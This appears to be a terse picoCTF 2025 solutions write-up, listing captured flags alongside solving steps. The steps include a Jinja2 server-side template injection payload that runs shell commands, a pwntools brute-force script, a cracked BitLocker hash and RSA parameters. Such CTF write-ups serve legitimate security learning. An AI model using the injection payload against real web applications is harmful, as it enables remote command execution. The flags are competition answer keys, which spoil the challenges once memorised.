PicoCTF 2025#

1
picoCTF{c00k1e_m0nster_l0ves_c00kies_A964A134}

1
picoCTF{Pat!3nt_15_Th3_K3y_13d135dd}

1
{{ cycler.__init__.__globals__.os.popen('id').read() }}

1
uid=0(root) gid=0(root) groups=0(root)

1
{{ cycler.__init__.__globals__.os.popen('ls -la').read() }}

1
{{ cycler.__init__.__globals__.os.popen('cat flag').read() }}

1
picoCTF{s4rv3r_s1d3_t3mp14t3_1nj3ct10n5_4r3_c001_bd4cfc64}

1
N: 15252509958680134355281192790423775780642730018121324095788578219292963353723916232720499483903461184668705060828515811319893114374925851073427408951758226
2
e: 65537
3
cyphertext: 4505358946357386625233434478520489616980726252380557529086592189572337871695906872189490934253694515800987194433679204612679402344074107465616766286153989

1
picoCTF{tw0_1$_pr!m3f995d086}

1
nc verbal-sleep.picoctf.net 58487
2

3
*******************************************
4
***             Part 1                  ***
5
***    The Mystery of the CLONED RAT    ***
6
*******************************************
7

8
The super evil Dr. Lacktoes Inn Tolerant told me he kidnapped my best friend, Squeexy, and replaced him with an evil clone! You look JUST LIKE SQUEEXY, but I'm not sure if you're him or THE CLONE. I've devised a plan to find out if YOU'RE the REAL SQUEEXY! If you're Squeexy, I'll give you the key to the cloning room so you can maul the imposter...
9

10
Here's my secret cheese -- if you're Squeexy, you'll be able to guess it:  XCFBPAFTET
11
Hint: The cheeses are top secret and limited edition, so they might look different from cheeses you're used to!
12
Commands: (g)uess my cheese or (e)ncrypt a cheese
13
What would you like to do?
14
e
15

16
What cheese would you like to encrypt? blue
17
Here's your encrypted cheese:  BNQC
18
Not sure why you want it though...*squeak* - oh well!
19

20
I don't wanna talk to you too much if you're some suspicious character and not my BFF Squeexy!
21
You have 2 more chances to prove yourself to me!
22

23
Commands: (g)uess my cheese or (e)ncrypt a cheese
24
What would you like to do?
25
g
26

27

28
   _   _
29
  (q\_/p)
30
   /. .\.-.....-.     ___,
31
  =\_t_/=     /  `\  (
32
    )\ ))__ __\   |___)
33
   (/-(/`  `nn---'
34

35
SQUEAK SQUEAK SQUEAK
36

37
         _   _
38
        (q\_/p)
39
         /. .\
40
  ,__   =\_t_/=
41
     )   /   \
42
    (   ((   ))
43
     \  /\) (/\
44
      `-\  Y  /
45
         nn^nn
46

47

48
Is that you, Squeexy? Are you ready to GUESS...MY...CHEEEEEEESE?
49
Remember, this is my encrypted cheese:  XCFBPAFTET
50
So...what's my cheese?
51
PENBRYNDKD
52

53
         _   _
54
        (q\_/p)
55
         /. .\         __
56
  ,__   =\_t_/=      .'o O'-.
57
     )   /   \      / O o_.-`|
58
    (   ((   ))    /O_.-'  O |
59
     \  /\) (/\    | o   o  o|
60
      `-\  Y  /    |o   o O.-`
61
         nn^nn     | O _.-'
62
                   '--`
63

64
munch...
65

66
         _   _
67
        (q\_/p)
68
         /. .\         __
69
  ,__   =\_t_/=      .'o O'-.
70
     )   /   \      / O o_.-`|
71
    (   ((   ))      ).-'  O |
72
     \  /\) (/\      )   o  o|
73
      `-\  Y  /    |o   o O.-`
74
         nn^nn     | O _.-'
75
                   '--`
76

77
munch...
78

79
         _   _
80
        (q\_/p)
81
         /. .\         __
82
  ,__   =\_t_/=      .'o O'-.
83
     )   /   \      / O o_.-`|
84
    (   ((   ))        )'  O |
85
     \  /\) (/\          )  o|
86
      `-\  Y  /         ) O.-`
87
         nn^nn        ) _.-'
88
                   '--`
89

90
MUNCH.............
91

92
YUM! MMMMmmmmMMMMmmmMMM!!! Yes...yesssss! That's my cheese!
93
Here's the password to the cloning room:  picoCTF{ChEeSy8313f058}

1
picoCTF{ChEeSy8313f058}

1
from pwn import *
2
from struct import *
3

4
with open("cheese_list.txt", "r") as f:
5
    cheese_list = f.readlines()
6
    while True:
7
        try:
8
            r = remote("verbal-sleep.picoctf.net", 54640)
9
            r.recvuntil(b"What would you like to do?")
10
            r.sendline(b"g")
11
            cheese = random.choice(cheese_list).strip()
12
            salt = hex(random.randint(0, 256))[2:]
13
            print(f"cheese: {cheese}, salt: {salt}")
14
            r.recvuntil(b"So...what's my cheese?")
15
            r.sendline(cheese.encode())
16
            r.recvuntil(b"Annnnd...what's my salt?")
17
            r.sendline(salt.encode())
18
            res = r.recvall()
19
            if b"pico" in res:
20
                print(res)
21
                break
22
        except:
23
            pass
24
        r.close()
25

26
print("Done")

1
picoCTF{cHeEsY6ce3864c}

1
picoCTF{UseStr0nG_h@shEs_&PaSswDs!_23622a7e}

1
$bitlocker$0$16$cb4809fe9628471a411f8380e0f668db$1048576$12$d04d9c58eed6da010a000000$60$68156e51e53f0a01c076a32ba2b2999afffce8530fbe5d84b4c19ac71f6c79375b87d40c2d871ed2b7b5559d71ba31b6779c6f41412fd6869442d66d:jacqueline

1
cat ./test/decrypted/flag.txt

1
picoCTF{us3_b3tt3r_p4ssw0rd5_pl5!_3242adb1}

1
picoCTF{B1tl0ck3r_dr1v3_d3crypt3d_9029ae5b}

1
picoCTF{Ev3nt_vi3wv3r_

1
1s_a_pr3tty_us3ful_

1
t00l_81ba3fe9}

1
picoCTF{Ev3nt_vi3wv3r_1s_a_pr3tty_us3ful_t00l_81ba3fe9}

1
BNAUd6U=
2
ezF0X3c0cw==
3
n0tn4jY=
4
YZYAvEs=
5
cGljb0NURg==
6
hWiUvqQ=
7
XzM0c3lfdA==
8
fQ==
9
gVsRoPU=
10
w2iRHng=
11
YmhfNHJfZQ==
12
oZYrPGE=
13
+Zyh8zU=
14
2FljUAw=
15
z3Iyzvg=
16
NWU4Yzc4ZA==
17
gCjvy9o=
18
G6UztJw=
19
5h7f9gw=
20
LpPuQ6w=
21
bnRfdGg0dA==
22
QHESHGY=

1
hWiUvqQ=
2
w2iRHng=
3
gVsRoPU=
4
n0tn4jY=
5
YZYAvEs=
6
z3Iyzvg=
7
BNAUd6U=
8
gCjvy9o=
9
+Zyh8zU=
10
oZYrPGE=
11
2FljUAw=
12
5h7f9gw=
13
QHESHGY=
14
LpPuQ6w=
15
G6UztJw=
16
cGljb0NURg==
17
ezF0X3c0cw==
18
bnRfdGg0dA==
19
XzM0c3lfdA==
20
YmhfNHJfZQ==
21
NWU4Yzc4ZA==
22
fQ==

1
picoCTF{1t_w4snt_th4t_34sy_tbh_4r_e5e8c78d}

1
Crimson heart, vibrant and bold,
2
Hearts flutter at your sight.
3
Evenings glow softly red,
4
Cherries burst with sweet life.
5
Kisses linger with your warmth.
6
Love deep as merlot.
7
Scarlet leaves falling softly,
8
Bold in every stroke.

1
picoCTF{r3d_1s_th3_ult1m4t3_cur3_f0r_54dn355_}